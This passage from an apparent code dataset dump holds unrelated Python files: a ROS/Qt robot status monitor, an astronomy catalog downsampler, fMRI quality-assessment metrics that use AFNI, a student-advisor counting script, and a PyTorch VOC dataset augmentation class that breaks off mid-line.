self.operating_mode[\"received\"] = msg.data\n self.operating_mode[\"stamp\"] = rospy.Time.now()\n\n def monitor_operating_mode(self):\n '''\n Monitors the operating mode on a 0.5s interval. Only updates the display\n when the received operating mode has changed. Will time out and display\n an unknown status if it has been 15s since the last message.\n '''\n # Sets the operating mode to 'Unknown' if no message has been received in 15s\n if ((rospy.Time.now() - self.operating_mode[\"stamp\"]) > rospy.Duration(15)):\n self.operating_mode[\"received\"] = \"Unknown\"\n\n # Updates the displayed data if a new operating mode has been received since the last timer\n if (self.operating_mode[\"received\"] != self.operating_mode[\"cached\"]):\n self.update_operating_mode_status()\n\n # Schedules the next instance of this method with a QT timer\n QtCore.QTimer.singleShot(500, self.monitor_operating_mode)\n\n @_timeout_check\n def update_operating_mode_status(self):\n '''\n Updates the displayed operating mode status text and color.\n '''\n if (self.operating_mode[\"received\"] == \"Unknown\"):\n self.operating_mode_status.setText(\"Unknown\")\n self.operating_mode_frame.setStyleSheet(self.colors[\"red\"])\n\n elif (self.operating_mode[\"received\"] == \"rc\"):\n self.operating_mode_status.setText(\"Joystick\")\n self.operating_mode_frame.setStyleSheet(self.colors[\"blue\"])\n\n elif (self.operating_mode[\"received\"] == \"emergency\"):\n self.operating_mode_status.setText(\"Emergency\")\n self.operating_mode_frame.setStyleSheet(self.colors[\"orange\"])\n\n elif (self.operating_mode[\"received\"] == \"keyboard\"):\n self.operating_mode_status.setText(\"Keyboard\")\n self.operating_mode_frame.setStyleSheet(self.colors[\"yellow\"])\n\n elif (self.operating_mode[\"received\"] == \"autonomous\"):\n self.operating_mode_status.setText(\"Autonomous\")\n self.operating_mode_frame.setStyleSheet(self.colors[\"green\"])\n\n # Set the cached operating mode to the value that was just displayed\n self.operating_mode[\"cached\"] = self.operating_mode[\"received\"]\n\n def cache_battery_voltage(self, msg):\n '''\n Stores the battery voltage when it is published.\n '''\n self.battery_voltage[\"received\"] = msg.data\n self.battery_voltage[\"stamp\"] = rospy.Time.now()\n\n def monitor_battery_voltage(self):\n '''\n Monitors the battery voltage on a 1s interval. Only updates the display\n when the received battery voltage has changed. Will time out and\n display an unknown status if it has been 15s since the last message.\n '''\n\n # Sets the battery voltage to 'Unknown' if no message has been received in 15s\n if (((rospy.Time.now() - self.battery_voltage[\"stamp\"]) > rospy.Duration(15)) or\n (self.battery_voltage[\"received\"] is None)):\n self.battery_voltage[\"received\"] = \"Unknown\"\n\n # Updates the displayed data if a new battery voltage has been received since the last timer\n if (self.battery_voltage[\"received\"] != self.battery_voltage[\"cached\"]):\n self.update_battery_voltage_status()\n\n # Schedules the next instance of this method with a QT timer\n QtCore.QTimer.singleShot(1000, self.monitor_battery_voltage)\n\n @_timeout_check\n def update_battery_voltage_status(self):\n '''\n Updates the displayed battery voltage status text and color. Uses a\n cached warning color to make sure the color is not changed on every\n update.\n '''\n if (self.battery_voltage[\"received\"] == \"Unknown\"):\n self.battery_voltage_status.setText(\"Unknown\")\n self.battery_voltage_frame.setStyleSheet(self.colors[\"red\"])\n self.battery_voltage[\"cached_warning_color\"] = \"red\"\n\n else:\n\n # Set the frame background color to red if the battery is at or below the critical voltage\n if (self.battery_voltage[\"received\"] <= self.battery_critical_voltage):\n if (self.battery_voltage[\"cached_warning_color\"] != \"red\"):\n self.battery_voltage_frame.setStyleSheet(self.colors[\"red\"])\n self.battery_voltage[\"cached_warning_color\"] = \"red\"\n\n # Set the frame background color to yellow if the battery is at or below the low voltage\n elif (self.battery_voltage[\"received\"] <= self.battery_low_voltage):\n if (self.battery_voltage[\"cached_warning_color\"] != \"yellow\"):\n self.battery_voltage_frame.setStyleSheet(self.colors[\"yellow\"])\n self.battery_voltage[\"cached_warning_color\"] = \"yellow\"\n\n # Set the frame background color to green if the battery is above the warning voltages\n elif (self.battery_voltage[\"cached_warning_color\"] != \"green\"):\n self.battery_voltage_frame.setStyleSheet(self.colors[\"green\"])\n self.battery_voltage[\"cached_warning_color\"] = \"green\"\n\n self.battery_voltage_status.setText(str(self.battery_voltage[\"received\"])[:5])\n\n # Set the cached battery voltage to the value that was just displayed\n self.battery_voltage[\"cached\"] = self.battery_voltage[\"received\"]\n\n def cache_system_time(self, msg):\n '''\n Stores the system time when it is published.\n '''\n self.system_time[\"received\"] = msg.clock\n\n def monitor_system_time(self):\n '''\n Updates data related to the system time on a 0.1s QT timer\n '''\n if (not self.remote.is_timed_out):\n\n # Counts bad values of the received system time towards the timeout count\n if ((self.system_time[\"received\"] is None) or (int(str(self.system_time[\"received\"])) <= 0) or\n len(str(self.system_time[\"received\"])) < 9):\n self.system_time[\"timeout_count\"] += 1\n\n # Updates the displayed data if a new system time has been received since the last timer\n elif (self.system_time[\"received\"] != self.system_time[\"cached\"]):\n self.system_time[\"timeout_count\"] = 0\n self.update_system_time_status()\n\n # Assumes that we have been disconnected if the system timeout counter reaches 50 (5s)\n elif (self.system_time[\"timeout_count\"] >= 50):\n self.remote.is_timed_out = True\n self.kill_status_status.setText(\"Unknown\")\n self.kill_status_frame.setStyleSheet(self.colors[\"red\"])\n self.operating_mode_status.setText(\"Unknown\")\n self.operating_mode_frame.setStyleSheet(self.colors[\"red\"])\n self.battery_voltage_status.setText(\"Unknown\")\n self.battery_voltage_frame.setStyleSheet(self.colors[\"red\"])\n self.battery_voltage[\"cached_warning_color\"] = \"red\"\n self.system_time_status.setText(\"Unknown\")\n self.system_time_frame.setStyleSheet(self.colors[\"red\"])\n\n # Otherwise, increments the system timeout counter\n else:\n self.system_time[\"timeout_count\"] += 1\n\n else:\n\n # If a new system time has been received after a timeout, exit the timeout state\n if (self.system_time[\"received\"] != self.system_time[\"cached\"]):\n self.kill_status_status.setText(\"Active\")\n self.kill_status_frame.setStyleSheet(self.colors[\"green\"])\n self.is_killed = False\n self.remote.is_timed_out = False\n self.system_time[\"timeout_count\"] = 0\n self.update_system_time_status()\n self.system_time_frame.setStyleSheet(self.colors[\"green\"])\n\n # Schedules the next instance of this method with a QT timer\n QtCore.QTimer.singleShot(100, self.monitor_system_time)\n\n def update_system_time_status(self):\n '''\n Updates the displayed system time status text and color.\n '''\n time_string = str(self.system_time[\"received\"])\n self.system_time_status.setText(time_string[:-9] + \".\" + time_string[-9:-8] + \"s\")\n\n # Set the cached system time to the value that was just displayed\n self.system_time[\"cached\"] = self.system_time[\"received\"]\n\n def cache_hosts(self, msg):\n '''\n Converts a published hosts string into a hosts dictionary and stores it\n in the hosts receiving variable.\n '''\n self.hosts[\"received\"] = msg\n self.hosts[\"stamp\"] = rospy.Time.now()\n\n def monitor_hosts(self):\n '''\n Monitors the network hosts on a 10s interval. Only updates the display\n when the received host data has changed. Will time out and display an\n unknown ip and status if it has been 30s since the last message.\n '''\n\n # Sets the IP address and status of all hosts to 'Unknown' if no message has been received in 30s\n if ((rospy.Time.now() - self.hosts[\"stamp\"]) > rospy.Duration(30)):\n self.clear_hosts()\n\n # Updates the displayed data if new hosts data has been received since the last timer\n if (self.hosts[\"received\"] != self.hosts[\"cached\"]):\n self.update_hosts_status()\n\n # Schedules the next instance of this method with a QT timer\n QtCore.QTimer.singleShot(10000, self.monitor_hosts)\n\n def update_hosts_status(self):\n '''\n Updates the text and color of the displayed hosts table elements.\n '''\n rows = self.hosts[\"received\"].hosts\n columns = [\"ip\", \"status\"]\n\n for row in range(len(rows)):\n column_color = []\n\n # Assigns colors to each item in the row\n if (getattr(rows[row], \"ip\") == \"Unknown\"):\n column_color.append(self.colors[\"red\"])\n column_color.append(self.colors[\"red\"])\n else:\n column_color.append(self.colors[\"green\"])\n if (getattr(rows[row], \"status\") == \"Online\"):\n column_color.append(self.colors[\"green\"])\n else:\n column_color.append(self.colors[\"red\"])\n\n # Updates the host's IP address and status in the devices table\n for column in range(len(columns)):\n entry = QtGui.QLabel(getattr(rows[row], columns[column]))\n entry.setAlignment(QtCore.Qt.AlignCenter)\n entry.setStyleSheet(column_color[column])\n self.device_table.setCellWidget(row, column, entry)\n\n # Set the cached host data to the host data that was just displayed\n self.hosts[\"cached\"] = self.hosts[\"received\"]\n", "source": "saltyan007/kill_test", "license": "MIT"} {"text": "#!/usr/bin/env python\n\"\"\"This script will read the dark matter particle table for the SMDPL\nsimulation, and downsample it for our model.\n\"\"\"\n\nimport os\nimport argparse\n\nimport numpy as np\nimport pandas as pd\n\n\nS18A_RAND_COLS = [\n 'object_id', 'ra', 'dec', 'coord', 'skymap_id', 'tract', 'patch', 'patch_s', 'parent_id',\n 'nchild', 'isprimary', 'adjust_density', 'detect_ispatchinner', 'detect_istractinner',\n 'g_pix_variance', 'g_sky_mean', 'g_sky_std', 'g_inputcount_value', 'g_inputcount_flag',\n 'g_inputcount_flag_noinputs', 'g_inputcount_flag_badcentroid', 'g_pixelflags',\n 'g_pixelflags_offimage', 'g_pixelflags_edge', 'g_pixelflags_bad',\n 'g_pixelflags_interpolatedcenter', 'g_pixelflags_saturatedcenter', 'g_pixelflags_crcenter',\n 'g_pixelflags_suspectcenter', 'g_pixelflags_bright_objectcenter', 'g_sdssshape_psf_shape11',\n 'g_sdssshape_psf_shape22', 'g_sdssshape_psf_shape12',\n 'r_pix_variance', 'r_sky_mean', 'r_sky_std', 'r_inputcount_value', 'r_inputcount_flag',\n 'r_inputcount_flag_noinputs', 'r_inputcount_flag_badcentroid', 'r_pixelflags',\n 'r_pixelflags_offimage', 'r_pixelflags_edge', 'r_pixelflags_bad',\n 'r_pixelflags_interpolatedcenter', 'r_pixelflags_saturatedcenter', 'r_pixelflags_crcenter',\n 'r_pixelflags_suspectcenter', 'r_pixelflags_bright_objectcenter', 'r_sdssshape_psf_shape11',\n 'r_sdssshape_psf_shape22', 'r_sdssshape_psf_shape12',\n 'i_pix_variance', 'i_sky_mean', 'i_sky_std', 'i_inputcount_value', 'i_inputcount_flag',\n 'i_inputcount_flag_noinputs', 'i_inputcount_flag_badcentroid', 'i_pixelflags',\n 'i_pixelflags_offimage', 'i_pixelflags_edge', 'i_pixelflags_bad',\n 'i_pixelflags_interpolatedcenter', 'i_pixelflags_saturatedcenter', 'i_pixelflags_crcenter',\n 'i_pixelflags_suspectcenter', 'i_pixelflags_bright_objectcenter', 'i_sdssshape_psf_shape11',\n 'i_sdssshape_psf_shape22', 'i_sdssshape_psf_shape12',\n 'z_pix_variance', 'z_sky_mean', 'z_sky_std', 'z_inputcount_value', 'z_inputcount_flag',\n 'z_inputcount_flag_noinputs', 'z_inputcount_flag_badcentroid', 'z_pixelflags',\n 'z_pixelflags_offimage', 'z_pixelflags_edge', 'z_pixelflags_bad',\n 'z_pixelflags_interpolatedcenter', 'z_pixelflags_saturatedcenter', 'z_pixelflags_crcenter',\n 'z_pixelflags_suspectcenter', 'z_pixelflags_bright_objectcenter', 'z_sdssshape_psf_shape11',\n 'z_sdssshape_psf_shape22', 'z_sdssshape_psf_shape12',\n 'y_pix_variance', 'y_sky_mean', 'y_sky_std', 'y_inputcount_value', 'y_inputcount_flag',\n 'y_inputcount_flag_noinputs', 'y_inputcount_flag_badcentroid', 'y_pixelflags',\n 'y_pixelflags_offimage', 'y_pixelflags_edge', 'y_pixelflags_bad',\n 'y_pixelflags_interpolatedcenter', 'y_pixelflags_saturatedcenter', 'y_pixelflags_crcenter',\n 'y_pixelflags_suspectcenter', 'y_pixelflags_bright_objectcenter', 'y_sdssshape_psf_shape11',\n 'y_sdssshape_psf_shape22', 'y_sdssshape_psf_shape12'\n]\n\nS18A_RAND_USE = [0, 1, 2, 5, 6, 10, 11, 17, 36, 55, 74, 93]\n\nS18A_RAND_DTYPE = [\n (\"object_id\", \"int32\"), (\"ra\", \"float64\"), (\"dec\", \"float64\"),\n (\"tract\", \"int32\"), (\"patch\", \"int32\"), (\"isprimary\", \"bool\"),\n (\"adjust_density\", \"float64\"), (\"g_inputcount_value\", \"float32\"),\n (\"r_inputcount_value\", \"float32\"), (\"i_inputcount_value\", \"float32\"),\n (\"z_inputcount_value\", \"float32\"), (\"y_inputcount_value\", \"float32\")\n]\n\n\ndef downsample_randoms(rand_file, chunksize=1e6, seed=95064, whitespace=False,\n downsample=False, verbose=True, gzip=False):\n \"\"\"Down-sample the random catalogs from the HSC S18A data.\"\"\"\n if not os.path.isfile(rand_file):\n raise IOError(\"# Can not find the particle table : %s\" % rand_file)\n if gzip:\n rand_pre = rand_file.replace('.csv.gz', '')\n else:\n rand_pre = rand_file.replace('.csv', '')\n\n # Reduce the number of colunms and save as a numpy array\n rand_out = rand_pre + \".npy\"\n rand_out_downsample = rand_pre + \"_downsample.npy\"\n\n if verbose:\n print(\"# Save the downsampled catalog to : %s\" % rand_out)\n\n # Read the data\n rand_pchunks = pd.read_csv(\n rand_file, usecols=S18A_RAND_USE, delim_whitespace=whitespace,\n index_col=False, chunksize=chunksize)\n\n rand_pdframe = pd.concat(rand_pchunks)\n rand_pdframe.rename(columns={'# object_id': 'object_id'}, inplace=True)\n\n rand_array = rand_pdframe.to_records(index=False)\n\n # Save the result\n if verbose:\n print(\"# There are %d randoms in the file: %s\" % (len(rand_array), rand_file))\n np.save(rand_out, rand_array)\n\n # Downsample\n if downsample:\n np.random.seed(seed)\n n_rand = int(len(rand_array) / 10)\n rand_downsample = np.random.choice(rand_array, n_rand, replace=False)\n\n # Save the result\n np.save(rand_out_downsample, rand_downsample)\n\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\n 'rand_file', type=str,\n help=('The particle catalog.'))\n\n parser.add_argument(\n '-c', '--chunk', dest='chunksize', type=int, default=1e6,\n help=('Size of the chunk when reading in the catalog.'))\n\n parser.add_argument(\n '-g', '--gzip', dest='gzip',\n help=('Whether the file is in .csv.gz format'),\n action=\"store_true\", default=False)\n\n parser.add_argument(\n '-s', '--seed', dest='seed', help='Random seed',\n type=int, default=95064)\n\n parser.add_argument(\n '-v', '--verbose', dest='verbose',\n help=('Blah, blah...'),\n action=\"store_true\", default=False)\n\n args = parser.parse_args()\n\n downsample_randoms(\n args.rand_file, chunksize=args.chunksize,\n seed=args.seed, verbose=args.verbose, gzip=args.gzip)\n", "source": "dr-guangtou/asap", "license": "Unlicense"} {"text": "\"\"\"\napiparse\n\nParse API and API groups from sources. List the API occurences from all\ndirectories and sub directories\n\n\"\"\"\n\n# Main Routine\nif __name__ == \"__main__\":\n import calltree\n f = calltree.calltree.calltree()\n f.showtree()\n f.showgraph()\n\n", "source": "vadivelmurugank/calltree", "license": "MIT"} {"text": "\nimport scipy.stats as stats\n\n\ndef pass_floats(output_string):\n \"\"\"Parse AFNI command STDOUT output strings and return the output values \n as a list of floats.\n\n :type output_string: str\n :param output_string: An AFNI command standard output.\n :rtype: list\n :return: A list of float values.\n \"\"\"\n\n lines = output_string.splitlines()\n values_list = []\n\n for l in lines:\n try:\n val = float(l)\n values_list.append(val)\n except:\n pass\n\n return values_list\n\n\ndef calculate_percent_outliers(values_list):\n \"\"\"Calculate the percentage of outliers from a vector of values.\n\n :type values_list: list\n :param values_list: A list of float values.\n :rtype: float\n :return: The percentage of values from the input vector that are\n statistical outliers.\n :rtype: float\n :return: The inter-quartile range of the data.\n \"\"\"\n\n import numpy as np\n from qap.qap_utils import raise_smart_exception\n\n try:\n # calculate the IQR\n sorted_values = sorted(values_list)\n\n third_qr, first_qr = np.percentile(sorted_values, [75, 25])\n IQR = third_qr - first_qr\n\n # calculate percent outliers\n third_qr_threshold = third_qr + (1.5 * IQR)\n first_qr_threshold = first_qr - (1.5 * IQR)\n\n high_outliers = \\\n [val for val in sorted_values if val > third_qr_threshold]\n low_outliers = \\\n [val for val in sorted_values if val < first_qr_threshold]\n\n total_outliers = high_outliers + low_outliers\n\n percent_outliers = \\\n float(len(total_outliers)) / float(len(sorted_values))\n\n except:\n raise_smart_exception(locals())\n\n return percent_outliers, IQR\n\n\ndef fd_jenkinson(in_file, rmax=80., out_file=None, out_array=False):\n \"\"\"Calculate Jenkinson's Mean Framewise Displacement (aka RMSD) and save \n the Mean FD values to a file.\n\n - Method to calculate Framewise Displacement (FD) calculations\n (Jenkinson et al., 2002).\n - Implementation written by @ Krsna, May 2013.\n - Jenkinson FD from 3dvolreg's *.affmat12.1D file from -1Dmatrix_save\n option input: subject ID, rest_number, name of 6 parameter motion\n correction file (an output of 3dvolreg) output: FD_J.1D file\n - in_file should have one 3dvolreg affine matrix in one row - NOT the\n motion parameters.\n\n :type in_file: str\n :param in_file: Filepath to the coordinate transformation output vector\n of AFNI's 3dvolreg (generated by running 3dvolreg with\n the -1Dmatrix_save option).\n :type rmax: float\n :param rmax: (default: 80.0) The default radius of a sphere that\n represents the brain.\n :type out_file: str\n :param out_file: (default: None) The filepath to where the output file\n should be written.\n :type out_array: bool\n :param out_array: (default: False) Flag to return the data in a Python\n NumPy array instead of an output file.\n :rtype: str\n :return: (if out_array=False) The filepath to the output file containing\n the Mean FD values.\n :rtype: NumPy array\n :return: (if out_array=True) An array of the output Mean FD values.\n \"\"\"\n\n import numpy as np\n import os.path as op\n from shutil import copyfile\n import math\n from qap.qap_utils import raise_smart_exception\n\n if out_file is None:\n fname, ext = op.splitext(op.basename(in_file))\n out_file = op.abspath('%s_fdfile%s' % (fname, ext))\n\n # if in_file (coordinate_transformation) is actually the rel_mean output\n # of the MCFLIRT command, forward that file\n if 'rel.rms' in in_file:\n copyfile(in_file, out_file)\n return out_file\n\n try:\n pm_ = np.genfromtxt(in_file)\n except:\n raise_smart_exception(locals())\n\n original_shape = pm_.shape\n pm = np.zeros((pm_.shape[0], pm_.shape[1] + 4))\n pm[:, :original_shape[1]] = pm_\n pm[:, original_shape[1]:] = [0.0, 0.0, 0.0, 1.0]\n\n # rigid body transformation matrix\n T_rb_prev = np.matrix(np.eye(4))\n\n flag = 0\n X = [0] # First timepoint\n for i in range(0, pm.shape[0]):\n # making use of the fact that the order of aff12 matrix is \"row-by-row\"\n T_rb = np.matrix(pm[i].reshape(4, 4))\n\n if flag == 0:\n flag = 1\n else:\n M = np.dot(T_rb, T_rb_prev.I) - np.eye(4)\n A = M[0:3, 0:3]\n b = M[0:3, 3]\n\n FD_J = math.sqrt(\n (rmax * rmax / 5) * np.trace(np.dot(A.T, A)) + np.dot(b.T, b))\n X.append(FD_J)\n\n T_rb_prev = T_rb\n\n try:\n np.savetxt(out_file, np.array(X))\n except:\n raise_smart_exception(locals())\n\n if out_array:\n return np.array(X)\n else:\n return out_file\n\n\ndef outlier_timepoints(func_file, mask_file=None, out_fraction=True):\n \"\"\"Calculates the number of 'outliers' in a 4D functional dataset, at each\n time-point using AFNI's 3dToutcount.\n\n - Uses AFNI 3dToutcount. More info here:\n https://afni.nimh.nih.gov/pub/dist/doc/program_help/3dToutcount.html\n - Used for the 'Fraction of Outliers' QAP functional temporal metrics.\n\n :type func_file: str\n :param func_file: Path to 4D functional timeseries NIFTI file.\n :type mask_file: str\n :param mask_file: Path to the functional binary brain mask NIFTI file.\n :type out_fraction: bool\n :param out_fraction: (default: True) Whether the output should be a count\n (False) or fraction (True) of the number of masked\n voxels which are outliers at each time point.\n :rtype: list\n :return: A list of outlier values from AFNI 3dToutcount.\n \"\"\"\n\n import commands\n from qap.qap_utils import raise_smart_exception\n\n opts = []\n if out_fraction:\n opts.append(\"-fraction\")\n if mask_file:\n opts.append(\"-mask %s\" % mask_file)\n opts.append(func_file)\n str_opts = \" \".join(opts)\n\n # TODO:\n # check if should use -polort 2\n # (http://www.na-mic.org/Wiki/images/8/86/FBIRNSupplementalMaterial082005.pdf)\n # or -legendre to remove any trend\n cmd = \"3dToutcount %s\" % str_opts\n\n try:\n out = commands.getoutput(cmd)\n except:\n err = \"[!] QAP says: Something went wrong with running AFNI's \" \\\n \"3dToutcount.\"\n raise_smart_exception(locals(),err)\n\n # remove general information and warnings\n outliers = pass_floats(out)\n\n return outliers\n\n\ndef quality_timepoints(func_file):\n \"\"\"Calculates a 'quality index' for each timepoint in the 4D functional\n dataset using AFNI's 3dTqual.\n\n - Uses AFNI 3dTqual. More info here:\n https://afni.nimh.nih.gov/pub/dist/doc/program_help/3dTqual.html\n - Used for the 'Quality' QAP functional temporal metrics.\n - Low values are good and indicate that the timepoint is not very\n different from the norm.\n\n :type func_file: str\n :param func_file: Filepath to the 4D functional timerseries NIFTI file.\n :rtype: list\n :return: A list of float values from AFNI 3dTqual.\n \"\"\"\n\n import subprocess\n from qap.qap_utils import raise_smart_exception\n\n opts = []\n opts.append(func_file)\n str_opts = \" \".join(opts)\n\n cmd = \"3dTqual %s\" % str_opts\n\n try:\n p = subprocess.Popen(cmd.split(\" \"),\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n out, err = p.communicate()\n except:\n err = \"[!] QAP says: Something went wrong with running AFNI's \" \\\n \"3dTqual.\"\n raise_smart_exception(locals(),err)\n\n quality = pass_floats(out)\n\n return quality\n\n\ndef global_correlation(func_reorient, func_mask):\n \"\"\"Calculate the global correlation (GCOR) of the functional timeseries.\n\n - From \"Correcting Brain-Wide Correlation Differences in Resting-State\n fMRI\", Ziad S. Saad et al. More info here:\n https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3749702\n\n :type func_reorient: str\n :param func_reorient: Filepath to the deobliqued, reoriented functional\n timeseries NIFTI file.\n :type func_mask: str\n :param func_mask: Filepath to the functional brain mask NIFTI file.\n :rtype: float\n :return: The global correlation (GCOR) value.\n \"\"\"\n\n import scipy\n import numpy as np\n from dvars import load\n\n zero_variance_func = load(func_reorient, func_mask)\n\n list_of_ts = zero_variance_func.transpose()\n\n # get array of z-scored values of each voxel in each volume of the\n # timeseries\n demeaned_normed = []\n\n for ts in list_of_ts:\n demeaned_normed.append(scipy.stats.mstats.zscore(ts))\n\n demeaned_normed = np.asarray(demeaned_normed)\n\n # make an average of the normalized timeseries, into one averaged\n # timeseries, a vector of N volumes\n volume_list = demeaned_normed.transpose()\n\n avg_ts = []\n\n for voxel in volume_list:\n avg_ts.append(voxel.mean())\n\n avg_ts = np.asarray(avg_ts)\n\n # calculate the global correlation\n gcor = (avg_ts.transpose().dot(avg_ts)) / len(avg_ts)\n\n return gcor\n", "source": "manwithadodla/quality-assessment-protocol", "license": "BSD-3-Clause"} {"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Sep 15 20:25:53 2015\n\n@author: Wasit\n\"\"\"\nimport numpy as np\nimport pandas as pd\ndf = pd.read_csv('cs401.csv',delimiter=\",\",parse_dates=True,\n infer_datetime_format=True,dayfirst=False,encoding='utf8')\n\nmyheader=list(df.columns.values)\n\n\nadvisors={'name':[]}\nfor ad in df[myheader[7]]:\n if ad not in advisors['name']:\n advisors['name'].append(ad)\nadvisors['name'].sort()\nadvisors['normal']=np.zeros(len(advisors['name']))\nadvisors['special']=np.zeros(len(advisors['name']))\nmatching={}\nfor record in df.values:\n for student_id in record[1:4]:\n #if id is not Nan\n if student_id==student_id:\n #if special sudent\n if str(int(student_id))[2:6] =='0965':\n advisors['special'][advisors['name'].index(record[7])]+=1\n else:\n advisors['normal'][advisors['name'].index(record[7])]+=1\nwriter = pd.ExcelWriter('cs401_out.xlsx')\ndf.to_excel(writer,'Sheet1')\npd.DataFrame(advisors).to_excel(writer,'advisors')\nwriter.save()", "source": "wasit7/tutorials", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n# Author: Changxing DENG\n# @Time: 2021/10/8 11:27\n\nimport os\nimport cv2 as cv\nimport random\nimport numpy as np\nimport torch\nfrom torch.utils.data import Dataset\n\nclass VOCDataset(Dataset):\n def __init__(self, data, image_root=\"\", transform=None, train=True):\n super().__init__()\n self.data = data\n self.transform = transform\n self.image_root = image_root\n self.train = train\n self.feature_map_size = [37, 18, 9, 5, 3, 1]\n self.default_boxes_num = [4, 6, 6, 6, 4, 4]\n self.Sk = [0.2, 0.34, 0.48, 0.62, 0.76, 0.9, 1]\n\n def __len__(self):\n return len(self.data)\n\n def __getitem__(self, index):\n image_dict = self.data[index]\n folder = image_dict[\"folder\"]\n name = image_dict[\"filename\"]\n image_path = os.path.join(self.image_root, *folder, \"JPEGImages\", name)\n img = cv.imread(image_path)\n category = image_dict[\"category\"]\n bbox = image_dict[\"bndbox\"] # shape: nbox, 4\n if self.train: # \u6570\u636e\u589e\u5f3a\n hsv_img = cv.cvtColor(img, cv.COLOR_BGR2HSV)\n hsv_img = self.hue(hsv_img)\n hsv_img = self.saturation(hsv_img)\n hsv_img = self.value(hsv_img)\n img = cv.cvtColor(hsv_img, cv.COLOR_HSV2BGR)\n img = self.average_blur(img)\n img, bbox = self.horizontal_flip(img, bbox)\n img, bbox, category = self.crop(img, bbox, category)\n img, bbox = self.scale(img, bbox)\n img, bbox, category = self.translation(img, bbox, category)\n # Caused by data augmentation, such as crop, translation and so on.\n if len(bbox) == 0 or len(category) == 0:\n return [], []\n target = self.encoder(img, bbox, category)\n img = cv.resize(img, (300, 300))\n img = cv.cvtColor(img, cv.COLOR_BGR2RGB)\n if self.transform:\n img = self.transform(img)\n return img, target\n\n def hue(self, hsv_img):\n if random.random() > 0.5:\n factor = random.uniform(0.5, 1.5)\n enhanced_hue = hsv_img[:, :, 0] * factor\n enhanced_hue = np.clip(enhanced_hue, 0, 180).astype(hsv_img.dtype) # H\u7684\u8303\u56f4\u662f0-180(360/2)\n hsv_img[:, :, 0] = enhanced_hue\n return hsv_img\n\n def saturation(self, hsv_img):\n if random.random() > 0.5:\n factor = random.uniform(0.5, 1.5)\n enhanced_saturation = hsv_img[:, :, 1] * factor\n enhanced_saturation = np.clip(enhanced_saturation, 0, 255).astype(hsv_img.dtype)\n hsv_img[:, :, 1] = enhanced_saturation\n return hsv_img\n\n def value(self, hsv_img):\n if random.random() > 0.5:\n factor = random.uniform(0.5, 1.5)\n enhanced_value = hsv_img[:, :, 2] * factor\n enhanced_value = np.clip(enhanced_value, 0, 255).astype(hsv_img.dtype)\n hsv_img[:, :, 2] = enhanced_value\n return hsv_img\n\n def average_blur(self, img):\n if random.random()>0.5:\n img = cv.blur(img, (3, 3))\n return img\n\n def horizontal_flip(self, img, bbox):\n if random.random() > 0.5:\n img = cv.flip(img, 1)\n h, w, _ = img.shape\n temp = w - bbox[:, 0]\n bbox[:, 0] = w - bbox[:, 2]\n bbox[:, 2] = temp\n return img, bbox\n\n def crop(self, img, bbox, category):\n if random.random() > 0.5:\n factor_horizontal = random.uniform(0, 0.2)\n factor_vertical = random.uniform(0, 0.2)\n h, w, _ = img.shape\n start_horizontal = int(w * factor_horizontal)\n end_horizontal = start_horizontal + int(0.8 * w)\n start_vertical = int(h * factor_vertical)\n end_vertical = start_vertical + int(0.8 * h)\n img = img[start_vertical: end_vertical, start_horizontal:end_horizontal, :]\n center_x = (bbox[:, 0] + bbox[:, 2]) / 2\n center_y = (bbox[:, 1] + bbox[:, 3]) / 2\n inImage = (center_x > start_horizontal) & (center_x < end_horizontal) \\\n & (center_y > start_vertical) & (center_y < end_vertical)\n bbox = bbox[inImage, :]\n bbox[:, [0, 2]] = bbox[:, [0, 2]] - start_horizontal\n bbox[:, [1, 3]] = bbox[:, [1, 3]] - start_vertical\n bbox[:, [0, 2]] = np.clip(bbox[:, [0, 2]], 0, int(0.8 * w))\n bbox[:, [1, 3]] = np.clip(bbox[:, [1, 3]], 0, int(0.8 * h))\n category = category[inImage]\n return img, bbox, category\n\n def scale(self, img, bbox):\n probility = random.random()\n if probility > 0.7:\n factor = random.uniform(0.5, 1.5)\n h, w, _ = img.shape\n h = int(h * factor)\n img = cv.resize(img, (w, h)) # size\u7684\u987a\u5e8f\u662fw,h\n bbox[:, [1, 3]] = bbox[:, [1, 3]] * factor\n elif probility < 0.3:\n factor = random.uniform(0.5, 1.5)\n h, w, _ = img.shape\n w = int(w * factor)\n img = cv.resize(img, (w, h))\n bbox[:, [0, 2]] = bbox[:, [0, 2]] * factor\n bbox = bbox.astype(np.int)\n return img, bbox\n\n def translation(self, img, bbox, category):\n if random.random() > 0.5:\n factor_horizontal = random.uniform(-0.2, 0.2)\n factor_vertical = random.uniform(-0.2, 0.2)\n h, w, _ = img.shape\n w_tran = int(w * factor_horizontal)\n h_tran = int(h * factor_vertical)\n canvas = np.zeros_like(img)\n if w_tran < 0 and h_tran < 0: # \u5411\u53f3\u4e0b\u79fb\u52a8\n canvas[-h_tran:, -w_tran:, :] = img[:h + h_tran, :w + w_tran, :]\n elif w_tran < 0 and h_tran >= 0: # \u5411\u53f3\u4e0a\u79fb\u52a8\n canvas[:h - h_tran, -w_tran:, :] = img[h_tran:, :w + w_tran, :]\n elif w_tran >= 0 and h_tran < 0: # \u5411\u5de6\u4e0b\u79fb\u52a8\n canvas[-h_tran:, :w - w_tran, :] = img[:h + h_tran, w_tran:, :]\n elif w_tran >= 0 and h_tran >= 0: # \u5411\u5de6\u4e0a\u79fb\u52a8\n canvas[:h - h_tran, :w - w_tran, :] = img[h_tran:, w_tran:, :]\n bbox[:, [0, 2]] = bbox[:, [0, 2]] - w_tran\n bbox[:, [1, 3]] = bbox[:, [1, 3]] - h_tran\n # \u786e\u4fddbbox\u4e2d\u5fc3\u70b9\u5728\u56fe\u50cf\u5185\uff0c\u56e0\u4e3a\u4e2d\u5fc3\u70b9\u6240\u5728\u7684\u683c\u8d1f\u8d23\u9884\u6d4b\n center_x = (bbox[:, 0] + bbox[:, 2]) / 2 # shape: nbox\n center_y = (bbox[:, 1] + bbox[:, 3]) / 2 # shape: nbox\n inImage = ((center_x > 0) & (center_x < w)) & ((center_y > 0) & (center_y < h))\n bbox = bbox[inImage, :]\n bbox[:, [0, 2]] = np.clip(bbox[:, [0, 2]], 0, w) # 